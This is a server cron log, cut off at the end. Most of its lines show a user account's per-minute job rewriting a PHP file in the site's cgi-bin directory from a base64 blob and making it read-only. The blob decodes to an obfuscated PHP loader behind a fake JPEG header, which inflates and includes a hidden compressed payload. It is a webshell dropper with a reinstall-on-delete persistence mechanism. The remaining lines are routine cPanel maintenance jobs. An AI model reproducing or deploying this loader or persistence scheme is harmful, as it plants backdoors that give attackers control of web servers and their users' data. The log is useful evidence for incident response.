Apr  8 08:23:01 server CROND[28389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:24:01 server CROND[28443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:25:01 server CROND[28500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:25:01 server CROND[28501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:25:01 server CROND[28502]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 08:25:01 server CROND[28503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:26:01 server CROND[28611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:27:01 server CROND[28673]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 08:27:01 server CROND[28674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:28:01 server CROND[28822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:29:01 server CROND[28891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:30:01 server CROND[28960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:30:01 server CROND[28964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:30:01 server CROND[28963]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  8 08:30:01 server CROND[28965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:30:01 server CROND[28962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:31:01 server CROND[29090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:32:01 server CROND[29138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:33:01 server CROND[29297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:34:01 server CROND[29360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:35:01 server CROND[29418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:35:01 server CROND[29419]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 08:35:01 server CROND[29420]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:35:01 server CROND[29423]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 08:35:01 server CROND[29426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:36:01 server CROND[29573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRm